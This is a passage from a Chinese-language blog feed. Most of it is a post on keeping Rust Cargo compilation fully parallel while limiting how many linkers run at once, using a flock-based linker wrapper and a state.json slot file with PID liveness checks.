        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/systemd-cgroup-resource-control/"/>
        <id>https://vercel.juzhong.asia/2026/07/systemd-cgroup-resource-control/</id>
        
        <summary type="html">&lt;p&gt;Linux cgroup（control group）是内核提供的一种机制，用于对进程组进行资源限制、监控和隔离。systemd 将其作为服务管理的基础设施，通过单元配置文件即可完成 CPU、内存、IO 等资源的分配与控制。&lt;&#x2F;p&gt;
&lt;p&gt;本文基于 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.kernel.org&#x2F;doc&#x2F;Documentation&#x2F;cgroup-v2.txt&quot;&gt;cgroup v2 内核文档&lt;&#x2F;a&gt; 和 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;man.archlinux.org&#x2F;man&#x2F;systemd.resource-control.5&quot;&gt;systemd.resource-control(5)&lt;&#x2F;a&gt; 手册，结合实际操作示例，整理 systemd 资源控制的完整用法。&lt;&#x2F;p&gt;
</summary>
        
    </entry>
    <entry xml:lang="en">
        <title>Rust Cargo 编译优化：利用 Link Wrapper + 文件锁实现「编译全并行，链接限并发」</title>
        <published>2026-07-17T22:58:49+08:00</published>
        <updated>2026-07-17T22:58:49+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/07/rust-cargo-link-concurrency-limit/"/>
        <id>https://vercel.juzhong.asia/2026/07/rust-cargo-link-concurrency-limit/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/07/rust-cargo-link-concurrency-limit/">&lt;h1 id=&quot;rust-cargo-bian-yi-you-hua-li-yong-link-wrapper-wen-jian-suo-shi-xian-bian-yi-quan-bing-xing-lian-jie-xian-bing-fa&quot;&gt;Rust Cargo 编译优化：利用 Link Wrapper + 文件锁实现「编译全并行，链接限并发」&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h2&gt;
&lt;p&gt;Rust 的 Cargo 在大型 Workspace 中通常能够很好地利用多核 CPU。&lt;&#x2F;p&gt;
&lt;p&gt;例如一台 32 核机器：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;cargo
    ├── rustc crateA
    ├── rustc crateB
    ├── rustc crateC
    ├── rustc crateD
    ├── ...
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;前期编译阶段属于 &lt;strong&gt;CPU 密集型&lt;&#x2F;strong&gt;，大量 &lt;code&gt;rustc&lt;&#x2F;code&gt; 并行通常能够显著提升编译速度。&lt;&#x2F;p&gt;
&lt;p&gt;但是到了最后阶段：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;crateA -&amp;gt; linker
crateB -&amp;gt; linker
crateC -&amp;gt; linker
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Cargo 同样可能同时启动多个 Linker。&lt;&#x2F;p&gt;
&lt;p&gt;如果：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Workspace 很大&lt;&#x2F;li&gt;
&lt;li&gt;LTO 开启&lt;&#x2F;li&gt;
&lt;li&gt;Debug 信息较多&lt;&#x2F;li&gt;
&lt;li&gt;可执行文件很多&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;那么每个 Linker 可能消耗数 GB 内存。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;lld      4GB
lld      5GB
lld      4GB
----------------
13GB
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;很容易导致：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Out Of Memory
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因此真正的问题其实不是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cargo 编译太快。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;而是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cargo 对 &lt;strong&gt;Compile&lt;&#x2F;strong&gt; 和 &lt;strong&gt;Link&lt;&#x2F;strong&gt; 使用了相同的并发策略。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;事实上，这两个阶段资源模型完全不同。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;阶段&lt;&#x2F;th&gt;&lt;th&gt;主要资源&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;rustc 编译&lt;&#x2F;td&gt;&lt;td&gt;CPU&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Link&lt;&#x2F;td&gt;&lt;td&gt;内存&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;理想情况下应该是：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Compile Jobs = 32

Link Jobs = 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;遗憾的是，目前 Cargo 并没有提供类似：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;compile-jobs = 32
link-jobs = 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样的配置。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;si-lu&quot;&gt;思路&lt;&#x2F;h1&gt;
&lt;p&gt;Cargo 并不会自己完成链接。&lt;&#x2F;p&gt;
&lt;p&gt;调用关系如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Cargo
    │
    ▼
rustc
    │
    ▼
clang &amp;#x2F; lld &amp;#x2F; mold &amp;#x2F; ld
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;真正消耗大量内存的是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;clang
lld
mold
ld
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因此最自然的方法就是：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;不要修改 Cargo。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;而是在 Linker 前面增加一个 Wrapper。&lt;&#x2F;p&gt;
&lt;p&gt;整体流程变成：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Cargo
    │
    ├── rustc (32并发)
    ├── rustc (32并发)
    ├── rustc (32并发)
    │
    ├── Link Wrapper
    │       │
    │       ├── 获取链接槽(slot)
    │       ├── exec linker
    │       └── 释放链接槽
    │
    └── Link Wrapper
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;编译仍然保持高并发&lt;&#x2F;li&gt;
&lt;li&gt;Link 自动排队&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;zui-jian-dan-de-shi-xian-flock&quot;&gt;最简单的实现：flock&lt;&#x2F;h1&gt;
&lt;p&gt;如果希望：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;max-link-jobs = 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;实际上只需要 Linux 的 &lt;code&gt;flock&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#!&amp;#x2F;bin&amp;#x2F;bash

exec 9&amp;gt;&amp;#x2F;tmp&amp;#x2F;rust-link.lock

flock 9

exec clang &amp;quot;$@&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Cargo 配置：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;[target.x86_64-unknown-linux-gnu]
linker=&amp;quot;&amp;#x2F;usr&amp;#x2F;local&amp;#x2F;bin&amp;#x2F;clang-wrapper&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;linker-ke-yi-xie-xiang-dui-lu-jing-ma&quot;&gt;linker 可以写相对路径吗？&lt;&#x2F;h2&gt;
&lt;p&gt;可以，不必是绝对路径。实测（cargo 1.96）规则如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;含路径分隔符的相对路径&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;[target.x86_64-unknown-linux-gnu]
linker = &amp;quot;tools&amp;#x2F;clang-wrapper.sh&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Cargo 按 &lt;strong&gt;config-relative&lt;&#x2F;strong&gt; 规则解析：&lt;&#x2F;p&gt;
&lt;p&gt;相对于 &lt;code&gt;.cargo&#x2F;config.toml&lt;&#x2F;code&gt; 所在目录的&lt;strong&gt;父目录&lt;&#x2F;strong&gt;（即项目根），并在传给 rustc 前展开为绝对路径。&lt;&#x2F;p&gt;
&lt;p&gt;用 &lt;code&gt;cargo build -v&lt;&#x2F;code&gt; 可以看到：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;-C linker=&amp;#x2F;path&amp;#x2F;to&amp;#x2F;project&amp;#x2F;tools&amp;#x2F;clang-wrapper.sh
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;即使在项目子目录里执行 &lt;code&gt;cargo build&lt;&#x2F;code&gt;，也能正常解析。&lt;&#x2F;p&gt;
&lt;p&gt;因此把 Wrapper 脚本放进仓库、随项目分发是完全可行的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;不含分隔符的裸名字&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;linker = &amp;quot;clang-wrapper&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不做相对解析，只查 &lt;code&gt;PATH&lt;&#x2F;code&gt;。不在 &lt;code&gt;PATH&lt;&#x2F;code&gt; 里就会报：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;error: linker `clang-wrapper` not found
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;两个注意点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若通过环境变量 &lt;code&gt;CARGO_TARGET_..._LINKER&lt;&#x2F;code&gt; 或 &lt;code&gt;--config KEY=VALUE&lt;&#x2F;code&gt; 传入，相对路径是相对&lt;strong&gt;当前工作目录&lt;&#x2F;strong&gt;解析的，不可靠，建议用绝对路径；&lt;&#x2F;li&gt;
&lt;li&gt;脚本需有 shebang 且 &lt;code&gt;chmod +x&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Wrapper1
    ↓
获得锁
    ↓
clang

----------------

Wrapper2
    ↓
等待

----------------

Wrapper3
    ↓
等待
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;任何时刻只有一个 Linker。&lt;&#x2F;p&gt;
&lt;p&gt;最大的优点是：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;即使 &lt;code&gt;kill -9&lt;&#x2F;code&gt;，锁也会自动释放。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;原因在于：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;flock&lt;&#x2F;code&gt; 属于 &lt;strong&gt;文件描述符锁（Open File Description Lock）&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;锁绑定的是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;fd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;而不是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;文件
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;当进程退出时：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;exit

↓

close(fd)

↓

unlock
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;全部由内核自动完成，因此不会产生死锁。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;wei-shen-me-flock-bu-zhi-chi-duo-ge-bing-fa&quot;&gt;为什么 flock 不支持多个并发？&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;flock&lt;&#x2F;code&gt; 本质上是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Mutex
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;只有：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;锁

或

没锁
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不能表示：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;还有两个空位
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;因此：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;max-link-jobs = 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不能直接依赖 &lt;code&gt;flock&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;posix-semaphore-ke-yi-ma&quot;&gt;POSIX Semaphore 可以吗？&lt;&#x2F;h1&gt;
&lt;p&gt;理论上可以。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sem_open()

count = 2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所有 Wrapper：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sem_wait()

↓

exec linker()

↓

sem_post()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样最多允许两个 Linker。&lt;&#x2F;p&gt;
&lt;p&gt;但是：&lt;&#x2F;p&gt;
&lt;p&gt;POSIX Semaphore 有一个问题：&lt;&#x2F;p&gt;
&lt;p&gt;如果：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sem_wait()

↓

kill -9
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;sem_post()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;永远不会执行。&lt;&#x2F;p&gt;
&lt;p&gt;于是：&lt;&#x2F;p&gt;
&lt;p&gt;Semaphore 的计数永久减少。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;count=2

↓

kill

↓

count=1

↓

再 kill

↓

count=0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后所有 Wrapper 都会永久等待。&lt;&#x2F;p&gt;
&lt;p&gt;因此：&lt;&#x2F;p&gt;
&lt;p&gt;普通 POSIX Semaphore &lt;strong&gt;并不具备崩溃恢复（Robust）能力&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;这一点和 &lt;code&gt;flock&lt;&#x2F;code&gt; 完全不同。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;geng-tui-jian-de-fang-fa-flock-zhuang-tai-wen-jian&quot;&gt;更推荐的方法：flock + 状态文件&lt;&#x2F;h1&gt;
&lt;p&gt;我更喜欢的方案不是 Semaphore。&lt;&#x2F;p&gt;
&lt;p&gt;而是：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;state.json
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
  &amp;quot;slots&amp;quot;: [
    {
      &amp;quot;pid&amp;quot;: 1234,
      &amp;quot;target&amp;quot;: &amp;quot;server&amp;quot;
    },
    null,
    {
      &amp;quot;pid&amp;quot;: 5678,
      &amp;quot;target&amp;quot;: &amp;quot;cli&amp;quot;
    }
  ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同时配合：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;flock(state.lock)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;保护状态修改。&lt;&#x2F;p&gt;
&lt;p&gt;整个流程如下。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;step-1-huo-de-zhuang-tai-suo&quot;&gt;Step 1：获得状态锁&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;flock(state.lock)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里持锁时间非常短。&lt;&#x2F;p&gt;
&lt;p&gt;只是为了修改共享状态。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;step-2-du-qu-dang-qian-zhuang-tai&quot;&gt;Step 2：读取当前状态&lt;&#x2F;h2&gt;
&lt;p&gt;读取：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;state.json
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;[
    1234,
    5678,
    null
]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;step-3-qing-li-shi-xiao-pid&quot;&gt;Step 3：清理失效 PID&lt;&#x2F;h2&gt;
&lt;p&gt;逐个检查：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kill(pid, 0)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果返回：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;ESRCH
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;说明：&lt;&#x2F;p&gt;
&lt;p&gt;对应进程已经不存在。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;1234
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;已经退出。&lt;&#x2F;p&gt;
&lt;p&gt;那么：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;[
    null,
    5678,
    null
]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;自动释放这个 Slot。&lt;&#x2F;p&gt;
&lt;p&gt;因此：&lt;&#x2F;p&gt;
&lt;p&gt;即使：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kill -9
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也能够恢复。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;step-4-xun-zhao-kong-slot&quot;&gt;Step 4：寻找空 Slot&lt;&#x2F;h2&gt;
&lt;p&gt;如果：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;slot != null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;全部占满：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;释放 flock

↓

sleep

↓

重试
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;否则：&lt;&#x2F;p&gt;
&lt;p&gt;占用一个 Slot：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;[
    {
        &amp;quot;pid&amp;quot;:8888,
        &amp;quot;target&amp;quot;:&amp;quot;app&amp;quot;
    },
    {
        &amp;quot;pid&amp;quot;:5678
    },
    null
]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;写回 state.json
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;step-5-shi-fang-flock&quot;&gt;Step 5：释放 flock&lt;&#x2F;h2&gt;
&lt;p&gt;注意：&lt;&#x2F;p&gt;
&lt;p&gt;此时：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;真正链接
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;还没有开始。&lt;&#x2F;p&gt;
&lt;p&gt;因此：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;flock&lt;&#x2F;code&gt; 并不会阻塞其它 Wrapper。&lt;&#x2F;p&gt;
&lt;p&gt;它只负责：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;原子修改共享状态。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;step-6-zhi-xing-zhen-zheng-linker&quot;&gt;Step 6：执行真正 Linker&lt;&#x2F;h2&gt;
&lt;pre&gt;&lt;code&gt;exec clang
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或者：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;exec mold
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;整个链接阶段：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;没有任何锁。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;因此：&lt;&#x2F;p&gt;
&lt;p&gt;多个 Linker 可以同时工作。&lt;&#x2F;p&gt;
&lt;p&gt;并发数量完全由：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Slot 数
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;决定。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;step-7-shi-fang-slot&quot;&gt;Step 7：释放 Slot&lt;&#x2F;h2&gt;
&lt;p&gt;链接结束：&lt;&#x2F;p&gt;
&lt;p&gt;再次：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;flock
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;修改：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;state.json
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;把自己的 Slot 置为：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;null
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;随后退出。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;wei-shen-me-zhe-chong-fang-an-geng-gua-he-gong-cheng-shi-jian&quot;&gt;为什么这种方案更适合工程实践？&lt;&#x2F;h1&gt;
&lt;p&gt;相比 POSIX Semaphore，它有几个优势。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;1-zi-dong-hui-fu&quot;&gt;1. 自动恢复&lt;&#x2F;h2&gt;
&lt;p&gt;程序异常退出：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kill -9
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;下一位 Wrapper：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;kill(pid,0)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;即可发现：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;PID 已不存在
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;自动释放 Slot。&lt;&#x2F;p&gt;
&lt;p&gt;无需人工干预。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;2-zhuang-tai-ke-jian&quot;&gt;2. 状态可见&lt;&#x2F;h2&gt;
&lt;p&gt;直接：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cat state.json
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;即可看到：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;[
    {
        &amp;quot;pid&amp;quot;:1001,
        &amp;quot;target&amp;quot;:&amp;quot;server&amp;quot;
    },
    {
        &amp;quot;pid&amp;quot;:1002,
        &amp;quot;target&amp;quot;:&amp;quot;cli&amp;quot;
    }
]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;调试非常方便。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;3-rong-yi-kuo-zhan&quot;&gt;3. 容易扩展&lt;&#x2F;h2&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;p&gt;增加：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;开始时间

RSS

目标名称

链接耗时

等待耗时
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;几乎不需要修改整体架构。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
    &amp;quot;pid&amp;quot;:1234,
    &amp;quot;target&amp;quot;:&amp;quot;server&amp;quot;,
    &amp;quot;start&amp;quot;:&amp;quot;18:22:11&amp;quot;,
    &amp;quot;rss&amp;quot;:&amp;quot;3.2GB&amp;quot;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;甚至可以提供：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;cargo-link-wrapper status
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;Slot0

PID:1234
Target:server
RSS:3.2GB

Slot1

PID:5678
Target:cli
RSS:2.7GB

Waiting Queue

app
tests
examples
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于排查大型工程的编译瓶颈非常有帮助。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;对于 Rust 大型 Workspace，我认为最实用的方案如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;如果只需要串行链接（&lt;code&gt;max-link-jobs = 1&lt;&#x2F;code&gt;）&lt;&#x2F;strong&gt;：直接使用 &lt;code&gt;flock&lt;&#x2F;code&gt; 包装 Linker，简单、稳定、无需额外状态。&lt;&#x2F;li&gt;
